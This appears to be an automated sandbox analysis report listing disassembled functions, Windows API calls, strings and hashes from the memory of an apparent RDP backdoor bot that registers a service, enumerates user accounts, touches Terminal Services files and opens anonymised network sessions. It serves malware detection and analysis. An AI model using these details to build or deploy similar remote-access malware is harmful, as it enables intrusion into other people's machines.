Instruction Fuzzy Hash: 6E513AA0A1968386FA129735EC143BD2352AF677A4F1C07B1C83E277E9EE3DE4418340

Function 00007FFB22707174 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FFB22706DD8
wcsncpy.MSVCRT ref: 00007FFB22706E06
LookupAccountNameW.ADVAPI32 ref: 00007FFB22706E63
GetLastError.KERNEL32 ref: 00007FFB22706E75
wcslen.MSVCRT ref: 00007FFB227071F7
GetProcessHeap.KERNEL32 ref: 00007FFB22707207
HeapAlloc.KERNEL32 ref: 00007FFB22707218
GetProcessHeap.KERNEL32 ref: 00007FFB22707234
HeapAlloc.KERNEL32 ref: 00007FFB22707245
NetApiBufferFree.NETAPI32 ref: 00007FFB22707283
NetUserEnum.NETAPI32 ref: 00007FFB227072F9
GetProcessHeap.KERNEL32 ref: 00007FFB22707337
HeapAlloc.KERNEL32 ref: 00007FFB22707348
memcpy.MSVCRT ref: 00007FFB22707385
GetProcessHeap.KERNEL32 ref: 00007FFB2270738A
HeapFree.KERNEL32 ref: 00007FFB2270739B

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22707262
mem_alloc, xrefs: 00007FFB2270725B
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FFB22706E87
D, xrefs: 00007FFB22706DF5
users_sync, xrefs: 00007FFB22706E80

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: a9cfa513d65dda842968a09f2c7885b9ac902f19089e2b66a96150b2426b3235
Instruction ID: 36e48ceb4774ffd650a74ed4916404cd4296905667f4ec849e68d333cfd1cb93
Opcode Fuzzy Hash: a9cfa513d65dda842968a09f2c7885b9ac902f19089e2b66a96150b2426b3235
Instruction Fuzzy Hash: 3D511CB6A0CA9286FB55CF25E8443A977A1FB8AB44F004135DA4D97768DFBCED09C700

Function 00007FFB2270715F Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FFB22706DD8
wcsncpy.MSVCRT ref: 00007FFB22706E06
LookupAccountNameW.ADVAPI32 ref: 00007FFB22706E63
GetLastError.KERNEL32 ref: 00007FFB22706E75
wcslen.MSVCRT ref: 00007FFB227071F7
GetProcessHeap.KERNEL32 ref: 00007FFB22707207
HeapAlloc.KERNEL32 ref: 00007FFB22707218
GetProcessHeap.KERNEL32 ref: 00007FFB22707234
HeapAlloc.KERNEL32 ref: 00007FFB22707245
NetApiBufferFree.NETAPI32 ref: 00007FFB22707283
NetUserEnum.NETAPI32 ref: 00007FFB227072F9
GetProcessHeap.KERNEL32 ref: 00007FFB22707337
HeapAlloc.KERNEL32 ref: 00007FFB22707348
memcpy.MSVCRT ref: 00007FFB22707385
GetProcessHeap.KERNEL32 ref: 00007FFB2270738A
HeapFree.KERNEL32 ref: 00007FFB2270739B

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22707262
mem_alloc, xrefs: 00007FFB2270725B
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FFB22706E87
D, xrefs: 00007FFB22706DF5
users_sync, xrefs: 00007FFB22706E80

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 2d87311861eb02190fa449cb48334dc650300a6d4b2998b0211e0cf4d148ea92
Instruction ID: 069f2ba5af5981a042ddc01c76f9ea2727538d22df9f386cdce7a988136545ef
Opcode Fuzzy Hash: 2d87311861eb02190fa449cb48334dc650300a6d4b2998b0211e0cf4d148ea92
Instruction Fuzzy Hash: 67512CB6A0CA9286FB55CF25E8443A977A1FB8AB44F004135DA4D97768DFBCED09C700

Function 00007FFB22707158 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FFB22706DD8
wcsncpy.MSVCRT ref: 00007FFB22706E06
LookupAccountNameW.ADVAPI32 ref: 00007FFB22706E63
GetLastError.KERNEL32 ref: 00007FFB22706E75
wcslen.MSVCRT ref: 00007FFB227071F7
GetProcessHeap.KERNEL32 ref: 00007FFB22707207
HeapAlloc.KERNEL32 ref: 00007FFB22707218
GetProcessHeap.KERNEL32 ref: 00007FFB22707234
HeapAlloc.KERNEL32 ref: 00007FFB22707245
NetApiBufferFree.NETAPI32 ref: 00007FFB22707283
NetUserEnum.NETAPI32 ref: 00007FFB227072F9
GetProcessHeap.KERNEL32 ref: 00007FFB22707337
HeapAlloc.KERNEL32 ref: 00007FFB22707348
memcpy.MSVCRT ref: 00007FFB22707385
GetProcessHeap.KERNEL32 ref: 00007FFB2270738A
HeapFree.KERNEL32 ref: 00007FFB2270739B

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22707262
mem_alloc, xrefs: 00007FFB2270725B
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FFB22706E87
D, xrefs: 00007FFB22706DF5
users_sync, xrefs: 00007FFB22706E80

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 3d001d083c48550922089760a03752ce89d170950a5eef2fd23022bf11b59532
Instruction ID: 08724e651f8c570489a591d62137956c9a72648727f891bcc7e5689ec5bd346f
Opcode Fuzzy Hash: 3d001d083c48550922089760a03752ce89d170950a5eef2fd23022bf11b59532
Instruction Fuzzy Hash: EA513DB2A0CA8286FB55CF25E84436977A1FB86B44F004135DA4D97768DFBCED08C700

Function 00007FFB22707151 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FFB22706DD8
wcsncpy.MSVCRT ref: 00007FFB22706E06
LookupAccountNameW.ADVAPI32 ref: 00007FFB22706E63
GetLastError.KERNEL32 ref: 00007FFB22706E75
wcslen.MSVCRT ref: 00007FFB227071F7
GetProcessHeap.KERNEL32 ref: 00007FFB22707207
HeapAlloc.KERNEL32 ref: 00007FFB22707218
GetProcessHeap.KERNEL32 ref: 00007FFB22707234
HeapAlloc.KERNEL32 ref: 00007FFB22707245
NetApiBufferFree.NETAPI32 ref: 00007FFB22707283
NetUserEnum.NETAPI32 ref: 00007FFB227072F9
GetProcessHeap.KERNEL32 ref: 00007FFB22707337
HeapAlloc.KERNEL32 ref: 00007FFB22707348
memcpy.MSVCRT ref: 00007FFB22707385
GetProcessHeap.KERNEL32 ref: 00007FFB2270738A
HeapFree.KERNEL32 ref: 00007FFB2270739B

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB22707262
mem_alloc, xrefs: 00007FFB2270725B
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FFB22706E87
D, xrefs: 00007FFB22706DF5
users_sync, xrefs: 00007FFB22706E80

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Heap$AllocProcess$Free$AccountBufferEnumErrorLastLocalLookupNameUsermemcpywcslenwcsncpy
String ID: D$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$users_sync
API String ID: 2122475568-588975189
Opcode ID: 66a670e81523c3fe5a232aa40d61afef281c029db23b07f3ea9cd7eedaeb48f8
Instruction ID: 0469e598d40adefdf963e34576d30d14de1d7cde671050da9ec46e55aa2d3b55
Opcode Fuzzy Hash: 66a670e81523c3fe5a232aa40d61afef281c029db23b07f3ea9cd7eedaeb48f8
Instruction Fuzzy Hash: 02513EB6A0CA8286FB55CF25E84436977A1FB86B44F004135DA4D97768DFBCED08C700

Function 00007FFB22738B63 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 94COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB22738B74
OpenSCManagerA.ADVAPI32 ref: 00007FFB22738B9E
GetLastError.KERNEL32 ref: 00007FFB22738BE6
GetLastError.KERNEL32 ref: 00007FFB22738CBE

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

~, xrefs: 00007FFB22738C64
[E] (%s) -> OpenSCManagerA(SERVICES_ACTIVE_DATABASE) failed(gle=%lu), xrefs: 00007FFB22738CCE
scm_init, xrefs: 00007FFB22738BCB, 00007FFB22738BF1, 00007FFB22738CC7, 00007FFB22738CF5
[I] (%s) -> %s, xrefs: 00007FFB22738CFC
P, xrefs: 00007FFB22738C6D
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_scm) failed(gle=%lu), xrefs: 00007FFB22738BF8
ServicesActive, xrefs: 00007FFB22738B92
Done, xrefs: 00007FFB22738CEE
, xrefs: 00007FFB22738C04
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB22738BD2

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLast$CountCriticalInitializeManagerOpenSectionSpinfflushfwrite
String ID: $Done$P$ServicesActive$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_scm) failed(gle=%lu)$[E] (%s) -> OpenSCManagerA(SERVICES_ACTIVE_DATABASE) failed(gle=%lu)$[I] (%s) -> %s$scm_init$~
API String ID: 546114577-3142219161
Opcode ID: 60b43ea0fec3ecdd4994f0e9939f40f7a874bff0120a8f17aa55c584a946f3f7
Instruction ID: 73eb339f89f4b8bad1befbbf1ab3ecd7fb5339148ce0e80764a145a5c9900dd1
Opcode Fuzzy Hash: 60b43ea0fec3ecdd4994f0e9939f40f7a874bff0120a8f17aa55c584a946f3f7
Instruction Fuzzy Hash: CB41B5E0F1D68792FB625771ECC13B82264AF1A344F901436C95ECA2B5DEEDAD84D302

Function 00007FFB23AB3340 Relevance: 24.1, APIs: 10, Strings: 6, Instructions: 101memorysleepCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB23AB340C
HeapFree.KERNEL32 ref: 00007FFB23AB341D
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB3441
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB3464
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB34D1
Sleep.KERNEL32 ref: 00007FFB23AB34F0
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB3502
GetProcessHeap.KERNEL32 ref: 00007FFB23AB3520
HeapFree.KERNEL32 ref: 00007FFB23AB3531
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB3540

Strings

-VRSTVE-, xrefs: 00007FFB23AB3365
--TSCB--, xrefs: 00007FFB23AB3374
, xrefs: 00007FFB23AB3355
[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s)), xrefs: 00007FFB23AB34BE
routine_tx, xrefs: 00007FFB23AB34B7
KCIT, xrefs: 00007FFB23AB335D

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: CriticalSection$Heap$Enter$FreeLeaveProcess$Sleep
String ID: $--TSCB--$-VRSTVE-$KCIT$[D] (%s) -> Dispatch an event(size=%u,timestamp=%lld,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s))$routine_tx
API String ID: 610085118-1825955162
Opcode ID: 843ef7f08b1eddbb2451e73753f8425bc2b5ba87fcf09f84b56d6d1c7b6bada2
Instruction ID: 9136b22fd859fb3eac35d2dd3cf53f5e6322e5e758fb1aaced7769c52152c2b1
Opcode Fuzzy Hash: 843ef7f08b1eddbb2451e73753f8425bc2b5ba87fcf09f84b56d6d1c7b6bada2
Instruction Fuzzy Hash: 4F516CB1A09AC686E6178B25FC4027D67A5FF66B91F0C06B5DA4E637B8DF3DE4418300

Function 00007FF7AABD7166 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF7AABD719A

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

GetLastError.KERNEL32 ref: 00007FF7AABD72F9

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD7208, 00007FF7AABD723B, 00007FF7AABD726B, 00007FF7AABD729B
[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu), xrefs: 00007FF7AABD730E
[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu), xrefs: 00007FF7AABD71D5
(xpath_sz != NULL), xrefs: 00007FF7AABD725D
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD71F3, 00007FF7AABD7226, 00007FF7AABD7256, 00007FF7AABD7286
[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu), xrefs: 00007FF7AABD73DB
(xpath != NULL), xrefs: 00007FF7AABD722D
[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x), xrefs: 00007FF7AABD72CD
((*xpath_sz) > 0), xrefs: 00007FF7AABD728D
(path != NULL), xrefs: 00007FF7AABD71FA
fs_path_expand, xrefs: 00007FF7AABD71CE, 00007FF7AABD7201, 00007FF7AABD7234, 00007FF7AABD7264, 00007FF7AABD7294, 00007FF7AABD72C6, 00007FF7AABD7307, 00007FF7AABD73D4

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: EnvironmentErrorExpandLastStringsfflushfwrite
String ID: ((*xpath_sz) > 0)$(path != NULL)$(xpath != NULL)$(xpath_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> ExpandEnvironmentStringsA buffer is too small(path=%s,res=%lu,xpath_sz=%llu)$[E] (%s) -> ExpandEnvironmentStringsA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,xpath_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,xpath=%s,xpath_sz=%llu)$fs_path_expand
API String ID: 1721699506-2819899730
Opcode ID: c12c4897f06361b5c5be79282b14c29c4095b970d2d52a14e29f25ffe9cd5858
Instruction ID: 94d472c1c922d53b8101cb8fff6aafba3486cdda17f8cede00aa93e0311b4fd0
Opcode Fuzzy Hash: c12c4897f06361b5c5be79282b14c29c4095b970d2d52a14e29f25ffe9cd5858
Instruction Fuzzy Hash: 63614E61A0F587D5FA30AB54E8403F8A251AFA1358FD741B2E90D47AB0DE3CE9C78325

Function 00007FFB22736F2B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 132stringtimeCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB22736F93
strlen.MSVCRT ref: 00007FFB22736FB5
strlen.MSVCRT ref: 00007FFB22736FC9
strlen.MSVCRT ref: 00007FFB2273703F
strlen.MSVCRT ref: 00007FFB2273705B
strlen.MSVCRT ref: 00007FFB2273706C
CompareFileTime.KERNEL32 ref: 00007FFB227370BE

Part of subcall function 00007FFB22738B2C: EnterCriticalSection.KERNEL32 ref: 00007FFB22738B37

Strings

%ProgramFiles%\RDP\, xrefs: 00007FFB22737021
v32.ini, xrefs: 00007FFB22737081
TermService, xrefs: 00007FFB2273711D
v32.ini, xrefs: 00007FFB22736FDE
termsrv3, xrefs: 00007FFB22736FD1
termsrv3, xrefs: 00007FFB22737074

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: strlen$CompareCriticalEnterFileSectionTime
String ID: %ProgramFiles%\RDP\$TermService$termsrv3$termsrv3$v32.ini$v32.ini
API String ID: 3718746087-844192579
Opcode ID: a439a34a7d512bd6fd3b234d8ed286ed2e561cc925bdb431e586c477abbbad98
Instruction ID: 8a9b7031c55847af1ed404f42a79a55b306443e853f46a0de31775fc45514360
Opcode Fuzzy Hash: a439a34a7d512bd6fd3b234d8ed286ed2e561cc925bdb431e586c477abbbad98
Instruction Fuzzy Hash: 6151A091B0C6C341FB239A35ED903FA56919F87784F480031DA4DCB7AAEEACDD058742

Function 00007FFB23AB3937 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 85memorysynchronizationsleepCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB396E
WaitForSingleObject.KERNEL32 ref: 00007FFB23AB399D
GetProcessHeap.KERNEL32 ref: 00007FFB23AB39B9
HeapFree.KERNEL32 ref: 00007FFB23AB39CA
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB39E1
Sleep.KERNEL32 ref: 00007FFB23AB3A1F
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB3A2E
WaitForSingleObject.KERNEL32 ref: 00007FFB23AB3A5A
GetProcessHeap.KERNEL32 ref: 00007FFB23AB3A76
HeapFree.KERNEL32 ref: 00007FFB23AB3A87
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB3A96

Strings

routine_gc, xrefs: 00007FFB23AB3981
[I] (%s) -> Client gone(client=0x%llx), xrefs: 00007FFB23AB3988

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: CriticalHeapSection$EnterFreeLeaveObjectProcessSingleWait$Sleep
String ID: [I] (%s) -> Client gone(client=0x%llx)$routine_gc
API String ID: 2654219296-2700516951
Opcode ID: cf18c09c1f466c897043092cb03779a4c5790caca8904f4f3b0c822cb66c5fc2
Instruction ID: 1e44a263ebbad573ad43bf745188b16e982028f4cf7506be6240fb9cca4de99d
Opcode Fuzzy Hash: cf18c09c1f466c897043092cb03779a4c5790caca8904f4f3b0c822cb66c5fc2
Instruction Fuzzy Hash: 48413EA1A09AC681EF168F31DC5027C23A5AF5AB65F1C0BB5C92E663F9DF3DE4408350

Function 00007FFB23B0B501 Relevance: 21.2, APIs: 4, Strings: 10, Instructions: 181stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB23B0B594

Part of subcall function 00007FFB23B0AB26: strcmp.MSVCRT ref: 00007FFB23B0AB6E

strlen.MSVCRT ref: 00007FFB23B0B6BA
strcpy.MSVCRT ref: 00007FFB23B0B6E1
strcpy.MSVCRT ref: 00007FFB23B0B780

Strings

REPLY, xrefs: 00007FFB23B0B725
STATUS, xrefs: 00007FFB23B0B643
VALUE, xrefs: 00007FFB23B0B749
RESULT, xrefs: 00007FFB23B0B63C, 00007FFB23B0B71E
TRANSIENT, xrefs: 00007FFB23B0B684
SESSION, xrefs: 00007FFB23B0B64A
NAMING LOOKUP NAME=ME, xrefs: 00007FFB23B0B6F1
SESSION CREATE STYLE=STREAM ID=%s DESTINATION=%s SIGNATURE_TYPE=%s %s %s, xrefs: 00007FFB23B0B608
DESTINATION, xrefs: 00007FFB23B0B69C
NAMING, xrefs: 00007FFB23B0B72C

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: strcpystrlen$strcmp
String ID: DESTINATION$NAMING$NAMING LOOKUP NAME=ME$REPLY$RESULT$SESSION$SESSION CREATE STYLE=STREAM ID=%s DESTINATION=%s SIGNATURE_TYPE=%s %s %s$STATUS$TRANSIENT$VALUE
API String ID: 245486318-5999096
Opcode ID: ecee1dfa06a6794c833f964ddf6cc2f8bd8bae02478c0eddb80abcd70ea3367c
Instruction ID: ef6a8d10f8ca05d7576d651605659a4f7f0a8e163a60f72ff049ac8f38dbd673
Opcode Fuzzy Hash: ecee1dfa06a6794c833f964ddf6cc2f8bd8bae02478c0eddb80abcd70ea3367c
Instruction Fuzzy Hash: 67717AA9E1968281EA22DE35DCA837D2250AF417B4F1C43B5DDFD6B7D5EE2CE8018341

Function 00007FF7AABD1B75 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 118registryCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32 ref: 00007FF7AABD1BF2
GetLastError.KERNEL32 ref: 00007FF7AABD1C25

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

Service running, xrefs: 00007FF7AABD1D18
Service stopping, xrefs: 00007FF7AABD1D48
svc_main, xrefs: 00007FF7AABD1C30, 00007FF7AABD1D1F, 00007FF7AABD1D4F
[E] (%s) -> RegisterServiceCtrlHandler failed(GetLastError=%lu), xrefs: 00007FF7AABD1C37
RDP-Controller, xrefs: 00007FF7AABD1BEB
, xrefs: 00007FF7AABD1C43
P, xrefs: 00007FF7AABD1C88
~, xrefs: 00007FF7AABD1C7F
[I] (%s) -> %s, xrefs: 00007FF7AABD1D26, 00007FF7AABD1D56

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
